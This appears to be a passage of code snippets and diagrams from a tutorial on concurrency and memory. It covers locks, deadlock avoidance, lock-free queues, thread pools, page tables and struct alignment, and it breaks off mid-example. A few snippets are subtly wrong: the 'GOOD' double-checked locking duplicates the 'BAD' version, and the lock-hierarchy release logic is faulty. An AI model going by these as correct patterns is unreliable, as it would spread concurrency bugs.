std::mutex mtx;
int counter = 0;

void increment() {
    for (int i = 0; i < 100000; i++) {
        std::lock_guard<std::mutex> lock(mtx);  // RAII
        counter++;
    }
}

int main() {
    std::vector<std::thread> threads;
    for (int i = 0; i < 10; i++) {
        threads.emplace_back(increment);
    }

    for (auto& t : threads) {
        t.join();
    }

    std::cout << "Counter: " << counter << "\n";
    return 0;
}

#include <iostream>
#include <future>
#include <chrono>

int compute(int n) {
    std::this_thread::sleep_for(std::chrono::seconds(1));
    return n * n;
}

int main() {
    // Launch async task
    std::future<int> result = std::async(std::launch::async, compute, 5);

    std::cout << "Doing other work...\n";

    // Get result (blocks if not ready)
    std::cout << "Result: " << result.get() << "\n";

    // Multiple async tasks
    auto f1 = std::async(std::launch::async, compute, 2);
    auto f2 = std::async(std::launch::async, compute, 3);
    auto f3 = std::async(std::launch::async, compute, 4);

    std::cout << f1.get() + f2.get() + f3.get() << "\n";

    return 0;
}

import threading

class BankAccount:
    def __init__(self, id, balance):
        self.id = id
        self.balance = balance
        self.lock = threading.Lock()

def transfer(from_account, to_account, amount):
    # WRONG: Can deadlock
    # with from_account.lock:
    #     with to_account.lock:
    #         from_account.balance -= amount
    #         to_account.balance += amount

    # RIGHT: Lock in consistent order (by ID)
    first, second = (from_account, to_account) if from_account.id < to_account.id else (to_account, from_account)

    with first.lock:
        with second.lock:
            from_account.balance -= amount
            to_account.balance += amount

# Now safe regardless of call order
account1 = BankAccount(1, 1000)
account2 = BankAccount(2, 1000)

# Both threads acquire locks in same order (lock1, then lock2)
t1 = threading.Thread(target=transfer, args=(account1, account2, 100))
t2 = threading.Thread(target=transfer, args=(account2, account1, 50))
t1.start()
t2.start()
t1.join()
t2.join()

#include <mutex>
#include <algorithm>

class BankAccount {
public:
    int id;
    int balance;
    std::mutex mtx;

    BankAccount(int id, int bal) : id(id), balance(bal) {}
};

void transfer(BankAccount& from, BankAccount& to, int amount) {
    // Lock in consistent order
    BankAccount* first = &from;
    BankAccount* second = &to;

    if (from.id > to.id) {
        std::swap(first, second);
    }

    std::lock_guard<std::mutex> lock1(first->mtx);
    std::lock_guard<std::mutex> lock2(second->mtx);

    from.balance -= amount;
    to.balance += amount;
}

// Or use std::lock to acquire multiple locks atomically
void transfer_v2(BankAccount& from, BankAccount& to, int amount) {
    std::unique_lock<std::mutex> lock1(from.mtx, std::defer_lock);
    std::unique_lock<std::mutex> lock2(to.mtx, std::defer_lock);

    std::lock(lock1, lock2);  // Acquire both atomically

    from.balance -= amount;
    to.balance += amount;
}

import threading
import time

class TimedLock:
    def __init__(self):
        self.lock = threading.Lock()

    def acquire_with_timeout(self, timeout):
        end_time = time.time() + timeout
        while True:
            if self.lock.acquire(blocking=False):
                return True
            if time.time() >= end_time:
                return False
            time.sleep(0.001)

    def release(self):
        self.lock.release()

lock1 = TimedLock()
lock2 = TimedLock()

def worker1():
    while True:
        if lock1.acquire_with_timeout(1):
            try:
                time.sleep(0.1)
                if lock2.acquire_with_timeout(1):
                    try:
                        print("Worker1 has both locks")
                        break
                    finally:
                        lock2.release()
                else:
                    print("Worker1 timeout on lock2, retrying")
            finally:
                lock1.release()
        else:
            print("Worker1 timeout on lock1, retrying")
        time.sleep(0.01)  # Backoff

def worker2():
    while True:
        if lock2.acquire_with_timeout(1):
            try:
                time.sleep(0.1)
                if lock1.acquire_with_timeout(1):
                    try:
                        print("Worker2 has both locks")
                        break
                    finally:
                        lock1.release()
                else:
                    print("Worker2 timeout on lock1, retrying")
            finally:
                lock2.release()
        else:
            print("Worker2 timeout on lock2, retrying")
        time.sleep(0.01)

t1 = threading.Thread(target=worker1)
t2 = threading.Thread(target=worker2)
t1.start()
t2.start()
t1.join()
t2.join()

#include <mutex>
#include <thread>
#include <chrono>

std::mutex mtx1, mtx2;

void worker() {
    while (true) {
        if (mtx1.try_lock()) {
            std::this_thread::sleep_for(std::chrono::milliseconds(10));
            if (mtx2.try_lock()) {
                // Got both locks
                std::cout << "Worker has both locks\n";
                mtx2.unlock();
                mtx1.unlock();
                break;
            } else {
                // Couldn't get second lock, release first
                mtx1.unlock();
            }
        }
        // Backoff before retry
        std::this_thread::sleep_for(std::chrono::milliseconds(1));
    }
}

class DeadlockDetector:
    def __init__(self):
        self.waiting_for = {}  # thread -> resource
        self.held_by = {}      # resource -> thread
        self.lock = threading.Lock()

    def acquire_intent(self, thread_id, resource_id):
        with self.lock:
            self.waiting_for[thread_id] = resource_id

            # Check for cycle
            if self._has_cycle(thread_id):
                del self.waiting_for[thread_id]
                raise Exception(f"Deadlock detected! Thread {thread_id} waiting for {resource_id}")

    def acquire_complete(self, thread_id, resource_id):
        with self.lock:
            if thread_id in self.waiting_for:
                del self.waiting_for[thread_id]
            self.held_by[resource_id] = thread_id

    def release(self, thread_id, resource_id):
        with self.lock:
            if resource_id in self.held_by:
                del self.held_by[resource_id]

    def _has_cycle(self, start_thread):
        visited = set()
        thread = start_thread

        while thread not in visited:
            visited.add(thread)

            if thread not in self.waiting_for:
                return False

            resource = self.waiting_for[thread]

            if resource not in self.held_by:
                return False

            thread = self.held_by[resource]

            if thread == start_thread:
                return True

        return False

# Define resource hierarchy
RESOURCE_LEVELS = {
    'database': 1,
    'cache': 2,
    'network': 3,
    'file': 4
}

class HierarchicalLock:
    def __init__(self, name):
        self.name = name
        self.level = RESOURCE_LEVELS[name]
        self.lock = threading.Lock()

thread_local = threading.local()

def acquire_hierarchical(lock):
    if not hasattr(thread_local, 'max_level'):
        thread_local.max_level = 0

    if lock.level <= thread_local.max_level:
        raise Exception(f"Lock hierarchy violation! Trying to acquire {lock.name} (level {lock.level}) after level {thread_local.max_level}")

    lock.lock.acquire()
    thread_local.max_level = lock.level

def release_hierarchical(lock):
    lock.lock.release()
    thread_local.max_level = lock.level - 1

# Usage
db_lock = HierarchicalLock('database')
cache_lock = HierarchicalLock('cache')

# This is OK
acquire_hierarchical(db_lock)
acquire_hierarchical(cache_lock)
release_hierarchical(cache_lock)
release_hierarchical(db_lock)

# This would raise exception (wrong order)
# acquire_hierarchical(cache_lock)
# acquire_hierarchical(db_lock)  # Exception!

# BAD: Large critical section
with lock:
    data = read_from_database()
    result = expensive_computation(data)
    write_to_cache(result)

# GOOD: Minimize critical section
data = read_from_database()
result = expensive_computation(data)
with lock:
    write_to_cache(result)

class StripedHashMap:
    def __init__(self, num_stripes=16):
        self.num_stripes = num_stripes
        self.stripes = [{'lock': threading.Lock(), 'data': {}} for _ in range(num_stripes)]

    def _get_stripe(self, key):
        return hash(key) % self.num_stripes

    def get(self, key):
        stripe = self.stripes[self._get_stripe(key)]
        with stripe['lock']:
            return stripe['data'].get(key)

    def put(self, key, value):
        stripe = self.stripes[self._get_stripe(key)]
        with stripe['lock']:
            stripe['data'][key] = value

#include <shared_mutex>

std::shared_mutex rwlock;
std::map<std::string, int> data;

int read(const std::string& key) {
    std::shared_lock lock(rwlock);  // Concurrent reads
    return data[key];
}

void write(const std::string& key, int value) {
    std::unique_lock lock(rwlock);  // Exclusive write
    data[key] = value;
}

// BAD: False sharing
struct Counters {
    int counter1;  // Likely on same cache line
    int counter2;  // as counter1
};

Counters counters;

// Thread 1
void increment1() {
    for (int i = 0; i < 1000000; i++) {
        counters.counter1++;  // Invalidates cache line
    }
}

// Thread 2
void increment2() {
    for (int i = 0; i < 1000000; i++) {
        counters.counter2++;  // Invalidates cache line
    }
}

// GOOD: Padding to separate cache lines
struct alignas(64) PaddedCounters {
    int counter1;
    char padding1[60];  // Fill rest of cache line
    int counter2;
    char padding2[60];
};

// Or use C++17 hardware_destructive_interference_size
struct Counters {
    alignas(std::hardware_destructive_interference_size) int counter1;
    alignas(std::hardware_destructive_interference_size) int counter2;
};

// Using @Contended annotation (requires -XX:-RestrictContended)
public class Counters {
    @jdk.internal.vm.annotation.Contended
    volatile long counter1;

    @jdk.internal.vm.annotation.Contended
    volatile long counter2;
}

#include <atomic>

template<typename T>
class LockFreeQueue {
private:
    struct Node {
        T data;
        std::atomic<Node*> next;
        Node(T val) : data(val), next(nullptr) {}
    };

    std::atomic<Node*> head;
    std::atomic<Node*> tail;

public:
    LockFreeQueue() {
        Node* dummy = new Node(T());
        head.store(dummy);
        tail.store(dummy);
    }

    void enqueue(T value) {
        Node* node = new Node(value);
        Node* prev_tail;

        while (true) {
            prev_tail = tail.load();
            Node* next = prev_tail->next.load();

            if (prev_tail == tail.load()) {
                if (next == nullptr) {
                    if (prev_tail->next.compare_exchange_weak(next, node)) {
                        break;
                    }
                } else {
                    tail.compare_exchange_weak(prev_tail, next);
                }
            }
        }
        tail.compare_exchange_weak(prev_tail, node);
    }

    bool dequeue(T& result) {
        while (true) {
            Node* first = head.load();
            Node* last = tail.load();
            Node* next = first->next.load();

            if (first == head.load()) {
                if (first == last) {
                    if (next == nullptr) {
                        return false;  // Empty
                    }
                    tail.compare_exchange_weak(last, next);
                } else {
                    result = next->data;
                    if (head.compare_exchange_weak(first, next)) {
                        delete first;  // Caution: ABA problem
                        return true;
                    }
                }
            }
        }
    }
};

std::atomic<int> x(0);
x.store(1, std::memory_order_seq_cst);  // Default

x.store(1, std::memory_order_relaxed);  // Only atomicity, no ordering

// Producer
data = 42;
flag.store(true, std::memory_order_release);

// Consumer
while (!flag.load(std::memory_order_acquire));
assert(data == 42);  // Guaranteed

import socket
import threading

def handle_client(client_socket):
    request = client_socket.recv(1024)
    # Process request
    response = b"HTTP/1.1 200 OK\r\n\r\nHello World"
    client_socket.send(response)
    client_socket.close()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8080))
server.listen(5)

while True:
    client, addr = server.accept()
    thread = threading.Thread(target=handle_client, args=(client,))
    thread.start()

from concurrent.futures import ThreadPoolExecutor
import socket

def handle_client(client_socket):
    # ... same as above

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8080))
server.listen(5)

with ThreadPoolExecutor(max_workers=50) as executor:
    while True:
        client, addr = server.accept()
        executor.submit(handle_client, client)

import asyncio

async def handle_client(reader, writer):
    data = await reader.read(1024)
    # Process request
    response = b"HTTP/1.1 200 OK\r\n\r\nHello World"
    writer.write(response)
    await writer.drain()
    writer.close()

async def main():
    server = await asyncio.start_server(handle_client, '0.0.0.0', 8080)
    async with server:
        await server.serve_forever()

asyncio.run(main())

import threading
import queue
import time

class ConnectionPool:
    def __init__(self, create_connection, max_connections=10):
        self.create_connection = create_connection
        self.max_connections = max_connections
        self.pool = queue.Queue(maxsize=max_connections)
        self.current_connections = 0
        self.lock = threading.Lock()

    def acquire(self, timeout=None):
        try:
            # Try to get from pool
            return self.pool.get(block=False)
        except queue.Empty:
            # Pool empty, maybe create new connection
            with self.lock:
                if self.current_connections < self.max_connections:
                    self.current_connections += 1
                    return self.create_connection()

            # Wait for available connection
            return self.pool.get(timeout=timeout)

    def release(self, connection):
        try:
            self.pool.put(connection, block=False)
        except queue.Full:
            # Pool full, close connection
            connection.close()
            with self.lock:
                self.current_connections -= 1

    def __enter__(self):
        self.connection = self.acquire()
        return self.connection

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.release(self.connection)

# Usage
def create_db_connection():
    # Simulate creating connection
    print("Creating new connection")
    return {"connection": "db"}

pool = ConnectionPool(create_db_connection, max_connections=5)

def worker(id):
    with pool as conn:
        print(f"Worker {id} using {conn}")
        time.sleep(1)
    print(f"Worker {id} released connection")

threads = [threading.Thread(target=worker, args=(i,)) for i in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

import tkinter as tk
import threading
import time

class Application(tk.Tk):
    def __init__(self):
        super().__init__()
        self.title("Concurrent GUI")

        self.label = tk.Label(self, text="Ready")
        self.label.pack()

        self.button = tk.Button(self, text="Start Task", command=self.start_task)
        self.button.pack()

    def start_task(self):
        self.label.config(text="Working...")
        self.button.config(state='disabled')

        # Run in background thread
        thread = threading.Thread(target=self.background_task)
        thread.start()

    def background_task(self):
        # Simulate long-running task
        for i in range(5):
            time.sleep(1)
            # Update UI from background thread (use after)
            self.after(0, self.update_progress, i + 1)

        self.after(0, self.task_complete)

    def update_progress(self, count):
        self.label.config(text=f"Progress: {count}/5")

    def task_complete(self):
        self.label.config(text="Done!")
        self.button.config(state='normal')

app = Application()
app.mainloop()

import threading
import queue
import time

class TaskQueue:
    def __init__(self, num_workers=4):
        self.tasks = queue.Queue()
        self.workers = []
        self.shutdown_flag = False

        for i in range(num_workers):
            worker = threading.Thread(target=self._worker, args=(i,))
            worker.start()
            self.workers.append(worker)

    def _worker(self, worker_id):
        while not self.shutdown_flag:
            try:
                task, callback = self.tasks.get(timeout=1)
                print(f"Worker {worker_id} processing {task}")
                result = self._process_task(task)
                if callback:
                    callback(result)
                self.tasks.task_done()
            except queue.Empty:
                continue

    def _process_task(self, task):
        # Simulate task processing
        time.sleep(2)
        return f"Result of {task}"

    def submit(self, task, callback=None):
        self.tasks.put((task, callback))

    def shutdown(self):
        self.shutdown_flag = True
        for worker in self.workers:
            worker.join()

# Usage
def on_complete(result):
    print(f"Task completed: {result}")

task_queue = TaskQueue(num_workers=4)

for i in range(10):
    task_queue.submit(f"Task-{i}", on_complete)

task_queue.tasks.join()  # Wait for all tasks
task_queue.shutdown()

# BAD: Mutable shared state
class Counter:
    def __init__(self):
        self.count = 0
        self.lock = threading.Lock()

    def increment(self):
        with self.lock:
            self.count += 1

# GOOD: Immutable data
from dataclasses import dataclass

@dataclass(frozen=True)
class CounterState:
    count: int

def increment(state):
    return CounterState(state.count + 1)

# Use atomic reference for updates
import threading

class AtomicReference:
    def __init__(self, value):
        self.value = value
        self.lock = threading.Lock()

    def get(self):
        with self.lock:
            return self.value

    def set(self, new_value):
        with self.lock:
            self.value = new_value

    def update(self, func):
        with self.lock:
            self.value = func(self.value)

state = AtomicReference(CounterState(0))
state.update(increment)

# BAD: Everything shared
shared_data = {'counter': 0, 'results': [], 'status': 'running'}
lock = threading.Lock()

def worker():
    with lock:
        shared_data['counter'] += 1
        shared_data['results'].append(compute())

# GOOD: Minimize sharing, use message passing
result_queue = queue.Queue()

def worker(task_id):
    result = compute(task_id)  # No shared state
    result_queue.put(result)   # Communicate via queue

from queue import Queue
from collections import deque
import threading

# Thread-safe queue
q = Queue()

# Thread-safe deque (for most operations)
d = deque()

# NOT thread-safe without synchronization
lst = []
dct = {}

# BAD: Can leak lock on exception
lock.acquire()
do_something()  # Exception here leaks lock!
lock.release()

# GOOD: Context manager
with lock:
    do_something()

# GOOD: Try-finally
lock.acquire()
try:
    do_something()
finally:
    lock.release()

# BAD: Nested locks increase deadlock risk
with lock1:
    with lock2:
        do_something()

# GOOD: Single lock or lock-free
with combined_lock:
    do_something()

# GOOD: Lock ordering if nested necessary
locks = sorted([lock1, lock2], key=id)
with locks[0]:
    with locks[1]:
        do_something()

class BankAccount:
    """
    Thread-safe bank account.

    All methods are thread-safe and can be called concurrently.
    """
    def __init__(self):
        self._balance = 0
        self._lock = threading.Lock()

    def deposit(self, amount):
        """Thread-safe deposit."""
        with self._lock:
            self._balance += amount

thread = threading.Thread(target=worker, name="Worker-1")
thread.start()

# In worker
print(f"Running in {threading.current_thread().name}")

def worker():
    try:
        do_work()
    except Exception as e:
        logging.error(f"Error in thread: {e}", exc_info=True)
        # Don't let exception kill thread silently

# Daemon threads die when main thread exits
thread = threading.Thread(target=background_task, daemon=True)
thread.start()

# Non-daemon threads keep program running
thread = threading.Thread(target=important_task, daemon=False)
thread.start()

# BAD: Race condition masked by sleep
def worker1():
    write_data()
    time.sleep(0.1)  # Hope worker2 is ready...
    read_shared_data()

# GOOD: Proper synchronization
event = threading.Event()

def worker1():
    write_data()
    event.set()

def worker2():
    event.wait()
    read_shared_data()

# BAD: Wastes CPU
while not data_ready:
    pass  # Spin!

# GOOD: Use condition variable
condition = threading.Condition()

def producer():
    with condition:
        prepare_data()
        data_ready = True
        condition.notify()

def consumer():
    with condition:
        while not data_ready:
            condition.wait()  # Sleeps, doesn't waste CPU
        process_data()

# BAD: Hold lock too long
with lock:
    data = read_database()  # Long I/O
    result = expensive_compute(data)  # Long CPU
    write_cache(result)

# GOOD: Minimize critical section
data = read_database()
result = expensive_compute(data)
with lock:
    write_cache(result)  # Only lock needed part

# BAD: Main exits before thread finishes
def main():
    thread = threading.Thread(target=important_work)
    thread.start()
    # Main exits, thread might be killed!

# GOOD: Wait for completion
def main():
    thread = threading.Thread(target=important_work)
    thread.start()
    thread.join()

# BAD: Default list shared between threads!
def worker(results=[]):
    results.append(compute())  # Race condition!
    return results

# GOOD: Immutable default
def worker(results=None):
    if results is None:
        results = []
    results.append(compute())
    return results

# BAD: Broken double-checked locking
singleton = None

def get_singleton():
    global singleton
    if singleton is None:  # Check 1 (unlocked)
        with lock:
            if singleton is None:  # Check 2 (locked)
                singleton = Singleton()  # Can be partially visible!
    return singleton

# GOOD: Use proper synchronization or module-level initialization
_singleton = None
_lock = threading.Lock()

def get_singleton():
    global _singleton
    if _singleton is None:
        with _lock:
            if _singleton is None:
                _singleton = Singleton()
    return _singleton

# BETTER: Module-level (thread-safe in Python)
_singleton = Singleton()

def get_singleton():
    return _singleton

# BAD: Creating too many threads
threads = [threading.Thread(target=cpu_work) for _ in range(1000)]

# GOOD: Use thread pool with appropriate size
import multiprocessing
num_cores = multiprocessing.cpu_count()
with ThreadPoolExecutor(max_workers=num_cores) as executor:
    executor.map(cpu_work, range(1000))

import logging
import threading

logging.basicConfig(
    level=logging.DEBUG,
    format='%(asctime)s [%(threadName)-12s] %(levelname)-8s %(message)s'
)

def worker(n):
    logging.info(f"Starting work on {n}")
    # ... work ...
    logging.info(f"Finished work on {n}")

thread = threading.Thread(target=worker, args=(42,), name="Worker-1")
thread.start()

import faulthandler
import signal

# Dump all thread stacks on SIGUSR1
faulthandler.register(signal.SIGUSR1)

# Or dump after timeout
faulthandler.dump_traceback_later(10, repeat=True)

# Compile with -fsanitize=thread
g++ -fsanitize=thread -g program.cpp -o program
./program

import sys
import threading

# Enable thread debugging
threading.settrace(lambda *args: print(args))

import random
import threading

# Seed random for reproducibility
random.seed(42)

# Add random sleeps to expose race conditions
def worker():
    # Add jitter to expose timing issues
    time.sleep(random.random() * 0.01)
    critical_section()

import time
import threading

class ExecutionTracer:
    def __init__(self):
        self.events = []
        self.lock = threading.Lock()

    def log(self, event):
        with self.lock:
            self.events.append({
                'time': time.time(),
                'thread': threading.current_thread().name,
                'event': event
            })

    def print_trace(self):
        for e in sorted(self.events, key=lambda x: x['time']):
            print(f"{e['time']:.4f} [{e['thread']:15s}] {e['event']}")

tracer = ExecutionTracer()

def worker(n):
    tracer.log(f"Start {n}")
    time.sleep(0.1)
    tracer.log(f"End {n}")

threads = [threading.Thread(target=worker, args=(i,), name=f"Worker-{i}") for i in range(3)]
for t in threads:
    t.start()
for t in threads:
    t.join()

tracer.print_trace()

import threading

def test_concurrent_counter():
    counter = Counter()  # Your concurrent counter

    def increment_many():
        for _ in range(10000):
            counter.increment()

    threads = [threading.Thread(target=increment_many) for _ in range(10)]
    for t in threads:
        t.start()
    for t in threads:
        t.join()

    assert counter.get() == 100000, f"Expected 100000, got {counter.get()}"

# Run many times
for _ in range(100):
    test_concurrent_counter()

from hypothesis import given, strategies as st
import threading

@given(st.lists(st.integers()))
def test_concurrent_list_operations(items):
    thread_safe_list = ThreadSafeList()

    def add_items():
        for item in items:
            thread_safe_list.append(item)

    threads = [threading.Thread(target=add_items) for _ in range(4)]
    for t in threads:
        t.start()
    for t in threads:
        t.join()

    assert len(thread_safe_list) == len(items) * 4

def test_race_condition():
    barrier = threading.Barrier(2)
    result = []

    def thread1():
        barrier.wait()  # Synchronize start
        result.append(1)

    def thread2():
        barrier.wait()  # Synchronize start
        result.append(2)

    t1 = threading.Thread(target=thread1)
    t2 = threading.Thread(target=thread2)
    t1.start()
    t2.start()
    t1.join()
    t2.join()

    # Both 1 and 2 should be present
    assert set(result) == {1, 2}

class FailingLock:
    def __init__(self, fail_on=None):
        self.lock = threading.Lock()
        self.acquire_count = 0
        self.fail_on = fail_on or set()

    def acquire(self):
        self.acquire_count += 1
        if self.acquire_count in self.fail_on:
            raise Exception("Lock acquisition failed")
        return self.lock.acquire()

    def release(self):
        return self.lock.release()

def test_error_handling():
    lock = FailingLock(fail_on={2})

    with pytest.raises(Exception):
        for i in range(3):
            lock.acquire()
            # ... do work ...
            lock.release()

import pytest
import signal

class TimeoutException(Exception):
    pass

def timeout_handler(signum, frame):
    raise TimeoutException()

def test_no_deadlock():
    signal.signal(signal.SIGALRM, timeout_handler)
    signal.alarm(5)  # 5 second timeout

    try:
        # Code that might deadlock
        run_concurrent_operation()
    except TimeoutException:
        pytest.fail("Operation timed out (possible deadlock)")
    finally:
        signal.alarm(0)  # Cancel alarm

void function() {
    int x = 10;           // Allocated on stack
    char buffer[100];     // Allocated on stack
    double y = 3.14;      // Allocated on stack
}  // All variables automatically destroyed here

High Address
+------------------+
| Previous Frame   |
+------------------+
| Return Address   |
+------------------+
| Saved Registers  |
+------------------+
| Local Variables  |
+------------------+
| Arguments        |
+------------------+ <- Stack Pointer (SP)
Low Address

void function() {
    int* ptr = malloc(sizeof(int) * 100);  // Allocated on heap
    // Use ptr...
    free(ptr);  // Must manually free
}

+------------------+
| Free Block       |
+------------------+
| Allocated Block  |
+------------------+
| Free Block       |
+------------------+
| Allocated Block  |
+------------------+

High Address (0xFFFFFFFF / 0xFFFFFFFFFFFFFFFF)
+------------------------+
|    Kernel Space        |
|  (OS, system calls)    |
+------------------------+ <- 0xC0000000 (varies)
|        Stack           |
|    (grows down)        |
|          ↓             |
+------------------------+
|         ...            |
|     (unmapped)         |
|         ...            |
+------------------------+
|          ↑             |
|    (grows up)          |
|         Heap           |
+------------------------+
|    BSS Segment         |
|  (uninitialized data)  |
+------------------------+
|    Data Segment        |
|  (initialized data)    |
+------------------------+
|    Text Segment        |
|   (code/instructions)  |
+------------------------+ <- 0x08048000 (typical)
|       Reserved         |
+------------------------+
Low Address (0x00000000)

// This function's machine code goes in text segment
int add(int a, int b) {
    return a + b;
}

// String literal in text segment (read-only)
const char* msg = "Hello, World!";

// Goes in data segment
int global_initialized = 42;
static int static_initialized = 100;

void function() {
    static int func_static = 5;  // Also in data segment
}

// Goes in BSS segment
int global_uninitialized;
static int static_uninitialized;

void function() {
    static int func_static;  // Also in BSS
}

#include <stdio.h>
#include <stdlib.h>

// BSS segment
int global_uninit;

// Data segment
int global_init = 42;

// Text segment
int add(int a, int b) {
    return a + b;
}

int main() {
    // Stack
    int stack_var = 10;

    // Heap
    int* heap_var = malloc(sizeof(int));
    *heap_var = 20;

    // Text segment (string literal)
    char* str = "Hello";

    printf("Stack var address: %p\n", (void*)&stack_var);
    printf("Heap var address: %p\n", (void*)heap_var);
    printf("Global init address: %p\n", (void*)&global_init);
    printf("Global uninit address: %p\n", (void*)&global_uninit);
    printf("Function address: %p\n", (void*)add);
    printf("String literal address: %p\n", (void*)str);

    free(heap_var);
    return 0;
}

Stack var address: 0x7ffd1234abcd
Heap var address: 0x55e4d789ef00
Global init address: 0x55e4d6789010
Global uninit address: 0x55e4d6789020
Function address: 0x55e4d6789140
String literal address: 0x55e4d6789200

# View process memory map
cat /proc/<pid>/maps

# Example output:
# 00400000-00401000 r-xp   text segment
# 00601000-00602000 rw-p   data segment
# 00602000-00623000 rw-p   heap
# 7fff12340000-7fff12361000 rw-p   stack

$ size a.out
   text    data     bss     dec     hex filename
   1234     456     100    1790     6fe a.out

Virtual Address → MMU → Physical Address

Virtual Page Number (VPN) → Page Table → Physical Frame Number (PFN)

Virtual Address: 0x00403004
Page Size: 4096 bytes (4 KB)

VPN = 0x00403004 / 4096 = 0x403
Offset = 0x00403004 % 4096 = 0x004

Page Table Lookup: VPN 0x403 → PFN 0x1234

Physical Address: (0x1234 * 4096) + 0x004 = 0x01234004

64-bit Virtual Address (x86-64):
+-------+-------+-------+-------+--------+
| PML4  |  PDP  |  PD   |  PT   | Offset |
+-------+-------+-------+-------+--------+
  9 bits  9 bits  9 bits  9 bits  12 bits

Process:
1. Use PML4 index to find PDP table
2. Use PDP index to find PD table
3. Use PD index to find PT table
4. Use PT index to find physical frame
5. Add offset to get physical address

1. CPU generates page fault exception
2. OS page fault handler runs
3. Check if address is valid
4. If valid:
   a. Find free physical frame
   b. Load page from disk (if needed)
   c. Update page table
   d. Restart instruction
5. If invalid:
   a. Terminate process (SIGSEGV)

# Run command and show page fault statistics
/usr/bin/time -v ./myprogram

# Output includes:
# Major (requiring I/O) page faults: 123
# Minor (reclaiming a frame) page faults: 4567

int* big_array = malloc(1000000 * sizeof(int));
// Page tables created, but physical memory not allocated yet

big_array[0] = 42;  // Page fault! Allocate physical page
big_array[1000] = 100;  // Page fault! Allocate another page

int x = 42;  // Page containing x is marked COW

pid_t pid = fork();
// Child process shares parent's pages (read-only)

if (pid == 0) {
    // Child process
    x = 100;  // Write triggers COW:
              // 1. Page fault
              // 2. Copy page
              // 3. Update child's page table
              // 4. Mark both copies writable
}

1. Select victim page (LRU, etc.)
2. Write page to swap space if dirty
3. Mark page table entry as swapped
4. Free physical frame
5. On access:
   a. Page fault
   b. Read from swap
   c. Allocate frame
   d. Update page table

Memory access: ~100 nanoseconds
Disk access: ~10 milliseconds
Ratio: 100,000x slower!

# Check swap usage
free -h

# Monitor swap activity
vmstat 1

Text segment: Read + Execute (no Write)
Data segment: Read + Write (no Execute)
Stack: Read + Write (no Execute on modern systems - NX bit)

const char* str = "Hello";  // In read-only memory
str[0] = 'h';  // Segmentation fault! Write to read-only memory

Virtual Page Number → TLB Lookup
  ↓ Hit                ↓ Miss
Physical Frame    Page Table Walk

// TLB-friendly: Sequential access
for (int i = 0; i < N; i++) {
    array[i] = i;  // High TLB hit rate
}

// TLB-unfriendly: Random access across many pages
for (int i = 0; i < N; i++) {
    int index = random() % N;
    array[index] = i;  // Many TLB misses
}

perf stat -e dTLB-loads,dTLB-load-misses ./myprogram

// Typical alignment requirements (x86-64)
char:    1-byte alignment  (address % 1 == 0)
short:   2-byte alignment  (address % 2 == 0)
int:     4-byte alignment  (address % 4 == 0)
long:    8-byte alignment  (address % 8 == 0)
float:   4-byte alignment  (address % 4 == 0)
double:  8-byte alignment  (address % 8 == 0)
pointer: 8-byte alignment  (address % 8 == 0) on 64-bit

struct Example1 {
    char a;    // 1 byte
    // 3 bytes padding
    int b;     // 4 bytes (needs 4-byte alignment)
    char c;    // 1 byte
    // 3 bytes padding (for next struct in array)
};
// Total: 12 bytes (not 6!)

printf("Size: %zu\n", sizeof(struct Example1));  // 12

Offset: 0  1  2  3  4  5  6  7  8  9  10 11
       [a][  padding  ][   b      ][c][padding]

// Inefficient layout
struct Bad {
    char a;    // 1 byte
    double b;  // 8 bytes (needs 8-byte alignment)
    char c;    // 1 byte
};
// Size: 24 bytes

// Efficient layout
struct Good {
    double b;  // 8 bytes
    char a;    // 1 byte
    char c;    // 1 byte
    // 6 bytes padding
};
// Size: 16 bytes (33% smaller!)

Bad:
[a][      padding      ][        b        ][c][     padding     ]
1  +          7         +         8         + 1 +        7        = 24

Good:
[        b        ][a][c][    padding    ]
        8          + 1 + 1 +      6        = 16

#include <stddef.h>

struct Example {
    char a;
    int b;
    char c;
};

printf("Offset of a: %zu\n", offsetof(struct Example, a));  // 0
printf("Offset of b: %zu\n", offsetof(struct Example, b));  // 4
printf("Offset of c: %zu\n", offsetof(struct Example, c));  // 8
printf("Total size: %zu\n", sizeof(struct Example));        // 12

// GCC/Clang
struct __attribute__((packed)) Packed {
    char a;
    int b;
    char c;
};
// Size: 6 bytes (no padding)

// MSVC
#pragma pack(push, 1)
struct Packed {
    char a;
    int b;
    char c;
};
#pragma pack(pop)

// Align to 16-byte boundary
struct alignas(16) Aligned {
    int x;
    int y;
};

// Or with GCC/Clang
struct __attribute__((aligned(16))) Aligned {
    int x;
    int y;
};

// Allocate 64 bytes aligned to 32-byte boundary
void* ptr = aligned_alloc(32, 64);
if (ptr) {
    // Use ptr
    free(ptr);
}

// Align variable to cache line (64 bytes)
alignas(64) int cache_aligned_var;

// Align structure
struct alignas(32) SimdData {
    float data[8];
};

#include <time.h>

// Aligned access
struct Aligned {
    int a;
    int b;
} __attribute__((aligned(8)));

// Unaligned access
struct __attribute__((packed)) Unaligned {
    char padding;
    int a;
    int b;
};

void benchmark_aligned() {
    struct Aligned data[1000000];
    clock_t start = clock();
    for (int i = 0; i < 1000000; i++) {
        data[i].a = i;
        data[i].b = i * 2;
    }
    clock_t end = clock();
    printf("Aligned: %f seconds\n", (double)(end - start) / CLOCKS_PER_SEC);
}

void benchmark_unaligned() {
    struct Unaligned data[1000000];
    clock_t start = clock();
    for (int i = 0; i < 1000000; i++) {
        data[i].a = i;
        data[i].b = i * 2;
    }
    clock_t end = clock();
    printf("Unaligned: %f seconds\n", (double)(end - start) / CLOCKS_PER_SEC);
}

#include <immintrin.h>

// Must be 32-byte aligned for AVX
__attribute__((aligned(32))) float data[8];

// Load with alignment requirement
__m256 vec = _mm256_load_ps(data);  // Requires 32-byte alignment

// Load without alignment requirement (slower)
__m256 vec = _mm256_loadu_ps(data);  // Works with any alignment

// Request 9 bytes, but allocator rounds to 16 for alignment
char* ptr = malloc(9);
// Actual allocation: 16 bytes
// Internal fragmentation: 7 bytes (43%!)

// Allocator has size classes: 8, 16, 32, 64, 128, 256...
char* small = malloc(17);
// Allocated from 32-byte class
// Internal fragmentation: 15 bytes

Requested: 9 bytes
Allocated: 16 bytes

[xxxxxxxxx-------]
 used     wasted (internal fragmentation)

Internal Fragmentation = (Allocated - Requested) / Allocated

Example: (16 - 9) / 16 = 43.75%

// Initial state: 1000 bytes free
// [                1000 bytes free                    ]

char* a = malloc(100);
// [A:100][              900 bytes free               ]

char* b = malloc(100);
